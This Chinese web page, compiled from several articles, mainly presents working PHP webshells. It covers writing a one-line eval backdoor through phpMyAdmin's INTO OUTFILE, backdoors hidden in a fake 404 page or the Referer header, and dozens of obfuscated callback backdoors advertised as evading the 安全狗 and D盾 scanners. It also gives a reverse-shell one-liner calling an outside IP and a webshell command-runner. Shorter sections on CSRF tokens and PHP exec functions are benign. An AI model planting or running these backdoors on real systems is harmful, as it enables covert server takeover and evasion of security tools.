首页 > 编程技术 > php

phpmyadmin写入一句话木马的测试

发布时间:2016-11-25 15:21

下面我们一起来看看一篇关于phpmyadmin写入一句话木马的测试教程,希望此教程能够对各位有帮助。

方法一,一句话木马

偶尔拿到一个config中,发现是root,且还有phpmyadmin。好吧,试试

select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\Web\wp-content\errors.php'

提示成功了,可是构造地址访问,提示404,看来没成功,应该是转义的问题
接着尝试:

select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\xxx.xx.vn\\wp-content\\errors.php'

再次导入,提示成功,访问后发现真的成功了。

 

另一种一句话木马


服务器上发现被植了很多木马,而且还让人肆意使用...NND

<?php @eval($_POST['c']);?>

使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

<html>  

<body>  

<form action="a.php" method="post">  

<input type="text" name="c" value="phpinfo();">  

<input type="submit" value="submit">  

</form>  

</body>  

</html>

利用404页面隐藏PHP小马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php

@preg_replace("/[pageerror]/e",$_POST['error'],"saft");

header('HTTP/1.1 404 Not Found');

?>


404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话:

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
<?php $_GET[a]($_GET[b]);?>


仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);


通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。

 

三个变形的一句话PHP木马

第一个
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1
第二个
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');


str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

最后列几个高级的PHP一句话木马后门:

1、

$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

$hh("/[discuz]/e",$_POST['h'],"Access");

//菜刀一句


2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

Token在计算机身份认证中,令牌的意思。本文我们来谈谈Token的安全,在php表单中加入Token令牌,可以防止恶意重复提交的效果。

Token浅谈

Token,就是令牌,最大的特点就是随机性,不可预测。一般黑客或软件无法猜测出来。

那么,Token有什么作用?又是什么原理呢?

Token一般用在两个地方——防止表单重复提交、anti csrf攻击(跨站点请求伪造)。

两者在原理上都是通过session token来实现的。当客户端请求页面时,服务器会生成一个随机数Token,并且将Token放置到session当中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。

然后,如果应用于“anti csrf攻击”,则服务器端会对Token值进行验证,判断是否和session中的Token值相等,若相等,则可以证明请求有效,不是伪造的。

不过,如果应用于“防止表单重复提交”,服务器端第一次验证相同过后,会将涩session中的Token值更新下,若用户重复提交,第二次的验证判断将失败,因为用户提交的表单中的Token没变,但服务器端session中Token已经改变了。

上面的session应用相对安全,但也叫繁琐,同时当多页面多请求时,必须采用多Token同时生成的方法,这样占用更多资源,执行效率会降低。因此,也可用cookie存储验证信息的方法来代替session Token。比如,应对“重复提交”时,当第一次提交后便把已经提交的信息写到cookie中,当第二次提交时,由于cookie已经有提交记录,因此第二次提交会失败。

不过,cookie存储有个致命弱点,如果cookie被劫持(xss攻击很容易得到用户cookie),那么又一次gameover。黑客将直接实现csrf攻击。

csrf防范


所以,安全和高效相对的。具体问题具体对待吧。


php表单加入Token防止重复提交


原理在于生成一个随机字符串放在session里,提交表单后来验证这个字符串,可以做到防止他人自己写form来欺骗提交,重复提交或者双击提交。

表单重复提交


简单的用php实现的代码如下:

<?php
/*
* PHP简单利用token防止表单重复提交
* 此处理方法纯粹是为了给初学者参考
*/
session_start();
function set_token() {
    $_SESSION['token'] = md5(microtime(true));
}
function valid_token() {
    $return = $_REQUEST['token'] === $_SESSION['token'] ? true : false;
    set_token();
    return $return;
}
//如果token为空则生成一个token
if(!isset($_SESSION['token']) || $_SESSION['token']=='') {
    set_token();
}
if(isset($_POST['test'])){
    if(!valid_token()){
        echo "token error";
    }else{
        echo '成功提交,Value:'.$_POST['test'];
    }
}
?>
<form method="post" action="">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']?>">
    <input type="text" name="test" value="Default">
    <input type="submit" value="提交" />
</form>




上面的比较简单一点的方法,下面的代码更加安全一点。

Token.php

<?php
 
/*
 * Created on 2013-3-25
 *
 * To change the template for this generated file go to
 * Window - Preferences - PHPeclipse - PHP - Code Templates
 */
function getToken($len = 32, $md5 = true) {
    # Seed random number generator
    # Only needed for PHP versions prior to 4.2
    mt_srand((double) microtime() * 1000000);
    # Array of characters, adjust as desired
    $chars = array (
        'Q',
        '@',
        '8',
        'y',
        '%',
        '^',
        '5',
        'Z',
        '(',
        'G',
        '_',
        'O',
        '`',
        'S',
        '-',
        'N',
        '<',
        'D',
        '{',
        '}',
        '[',
        ']',
        'h',
        ';',
        'W',
        '.',
        '/',
        '|',
        ':',
        '1',
        'E',
        'L',
        '4',
        '&',
        '6',
        '7',
        '#',
        '9',
        'a',
        'A',
        'b',
        'B',
        '~',
        'C',
        'd',
        '>',
        'e',
        '2',
        'f',
        'P',
        'g',
        ')',
        '?',
        'H',
        'i',
        'X',
        'U',
        'J',
        'k',
        'r',
        'l',
        '3',
        't',
        'M',
        'n',
        '=',
        'o',
        '+',
        'p',
        'F',
        'q',
        '!',
        'K',
        'R',
        's',
        'c',
        'm',
        'T',
        'v',
        'j',
        'u',
        'V',
        'w',
        ',',
        'x',
        'I',
        '$',
        'Y',
        'z',
        '*'
    );
    # Array indice friendly number of chars;
    $numChars = count($chars) - 1;
    $token = '';
    # Create random token at the specified length
    for ($i = 0; $i < $len; $i++)
        $token .= $chars[mt_rand(0, $numChars)];
    # Should token be run through md5?
    if ($md5) {
        # Number of 32 char chunks
        $chunks = ceil(strlen($token) / 32);
        $md5token = '';
        # Run each chunk through md5
        for ($i = 1; $i <= $chunks; $i++)
            $md5token .= md5(substr($token, $i * 32 - 32, 32));
        # Trim the token
        $token = substr($md5token, 0, $len);
    }
    return $token;
}
?>




form.php

<?php
include_once("token.php");
$token = getToken();
session_start();
$_SESSION['token'] = $token;
?>
<form action="action.php" method="post"
<input type="hidden" name="token" value="<?=$token?>" />
<!-- 其他input submit之类的 -->
</form>


action.php

<?php
session_start();
if($_POST['token'] == $_SESSION['token']){
    unset($_SESSION['token']);
    echo "这是一个正常的提交请求";
}else{
    echo "这是一个非法的提交请求";
}
?>


后门对于我们站长来讲是非常的严重的一个bug了,我们经常会碰到网站被黑了结果一查就有后门程序了,今天我们给各位上长演示一下php后门的一些实现手段吧,大家看了之后可以对网站进行一些有效的防护了。

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

    那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

0x00 前言

    有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

    一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

1.jpg

    

    有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

    根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。

    我就自己给这类webshell起了个名字:回调后门。


0x01 回调后门的老祖宗

    php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

    assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。


    这个后门,狗和盾都可以查到(但是狗不会拦截):

2.jpg

    

    可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_user_func_array('assert', array($_REQUEST['pass']));

    call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:


    1.jpg

    可见,虽然狗不杀了,D盾还是聪明地识别了出来。

    看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。


0x02 数组操作造成的单参数回调后门

    进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

    我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

    array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):


    1.jpg

    这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

    1.jpg

    类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

    依旧被D盾查杀。

    果然,简单的数组回调后门,还是很容易被发现与查杀的。


0x03 php5.4.8+中的assert

    php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

    1.jpg

    这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

    比如如下回调后门:

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

    这个后门在php5.3时会报错,提示assert只能有一个参数:


    1.jpg

    php版本改作5.4后就可以执行了:

    1.jpg

    这个后门,狗和盾是都查不出来的:

    1.jpg

    同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);


    再给出这两个函数,面向对象的方法:

// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

    再来两个类似的回调后门:

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

    我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)


0x04 三参数回调函数

    有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

    array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

    1.jpg

    php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

    三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

    如图,这个后门可以在5.3下使用:

    1.jpg

    但强大的D盾还是有警觉(虽然只是等级2):

    1.jpg

    不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

    不截图了。

    看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

    另一个:

echo preg_filter('|.*|e', $_REQUEST['pass'], '');

    这两个一句话都是不杀的:

    

    1.jpg2.jpg

    好用的一句话,且用且珍惜呀。


0x05 无回显回调后门

    回调后门里,有个特殊的例子:ob_start。

    ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

    但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

    

    1.jpg

    即使没输出,实际代码是执行了的。也算作回调后门的一种。


0x06 单参数后门终极奥义

    preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

    这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

    这个是php全版本支持的,且不报不杀稳定执行:

    

    

    再来一个:

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

    再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

    这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

    这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.


0x07 数据库操作与第三方库中的回调后门

    回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

    我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

    执行之:

    

    上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

    前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

    这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。

    比如php_yaml:

$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

    还有php_memcached:

$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

    自行研究吧。


0x08 其他参数型回调后门

    上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

    举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

    preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

    所以我们需要去“构造”一个满足条件的回调函数。

    怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    “创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。


    这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

    类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
    echo $item;
}

    这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。


0x09 后记

    这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

    实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

    简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞

 

 

webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。


inux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

    我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

    在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。

    当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

    其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:

    38.jpg

    反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

    不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

    39.jpg

    具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。


    另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
    set_error_handler("customError");
    $re = false;
    if (empty($cmd))  return '执行结果';
    if (empty($type)){
        if(function_exists('exec')){
            @exec($cmd, $re);
            $re = join("\n", $re);
            $type = 'exec';
        }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
            $type = 'shell_exec';
        }else if(function_exists('system')){
            @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'system';
        }else if(function_exists('passthru')){
            @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'passthru';
        }else if(is_resource($f = popen($cmd,"r"))){
            while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
            $type = 'popen';
        }else if(function_exists('proc_open')){
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
             );
            $process = proc_open($cmd, $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], "{$cmd}\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                // 读取输出
                while (!feof($pipes[1])) {
                    $re .= fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    $re .= fgets($pipes[2], 1024);
                  }
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }else if($type == 'wscript'){
        $s= new COM('wscript.shell');
        $exec = $s->exec($cmd);
        $stdout = $exec->StdOut();
        $re = $stdout->ReadAll();
    }else if($type == 'application'){
        $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
        $shell= new COM('Shell.Application');
        $shell->ShellExecute($exe,$cmd);
        $re = "请查看{$cmd}中输入文件内容\n";
    }
    if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
    return $re;
}

PHP调用系统的命令不管在linux还是在windows中只要权限足够都是可以执行了,下面我们就来看一个在linux中PHP调用linux外部命令的例子。


相信大家或多或少都用过AMH,Vestacp等vps面板,这些面板都是使用的php语言,从本质上来说就是php执行linux的外部命令。

PHP 为执行外部命令提供大量函数,其中包括 shell_exec()、exec()、passthru() 和 system()。这些命令是相似的,但为您运行的外部程序提供不同的界面。所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。

shell_exec函数

说明:通过 shell 运行外部程序,然后以字符串的形式返回结果。

语法:string shell_exec ( string $cmd )

返回值: 字符串

详细介绍
shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体,通过该命令可以运行shell命令,然后以字符串的形式返回结果。

示例代码

统计当前目录下所有文件中的单词数量,并输出前五行。


<?php
$results = shell_exec('wc -w *.txt | head -5');
echo "<pre>".$results . "
“;
?>

exec函数

说明:与 shell_exec() 相似,返回输出的最后一行

语法:string exec ( string $command [, array &$output [, int &$return_var ]] )
返回值: 字符串

详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若是 return_var 跟 output 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。

实例代码:

统计当前目录下所有文件中的单词数量,并输出前五行,但是实际上只输出了一行。


<?php
$results = exec('wc -w *.txt | head -5');
echo $results;
 
#只会输出一行:
#3847 myfile.txt
?>
passthru()

说明:passthru() 允许您运行外部程序,并在屏幕上显示结果。

语法:void passthru ( string $command [, int &$return_var ] )
返回值: 整数

详细介绍:
passthru() 允许您运行外部程序,并在屏幕上显示结果。您不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。您可以添加可选的参数,即保存从外部程序返回的代码的变量,比如表示成功的 0,这为调试提供更好的机制。

实例代码:


<?php
passthru('wc -w *.txt | head -5',$returnval);
echo "<hr/>".$returnval;
?>
system函数

说明:执行外部程序并显示输出资料。

语法:string system ( string $command [, int &$return_var ] )
返回值: 字符串

详细介绍
system() 命令是一种混合体。它像 passthru() 一样直接输出从外部程序接收到的任何东西。它还像 exec() 一样返回最后一行,并使返回代码可用。

示例代码

<?php
system('wc -w *.txt | head -5');
 
#输出如下:
#123 file1.txt 332 file2.txt 444 file3.txt
#and so on
?>
小结

一般来说,exec() 命令比较常用;
如果不关心结果,并且命令比较简单时,可以使用 shell_exec();
如果仅需返回一个 shell 脚本,可以使用 passthru()。

不过小编还是要说一句,没有必须使用php执行系统函数了,我们可以禁止掉了,在php.ini中我们如下写

disable_functions = proc_open,exec,passthru,shell_exec,system,popen

就可以了。

标签:[!--infotagslink--]

您可能感兴趣的文章: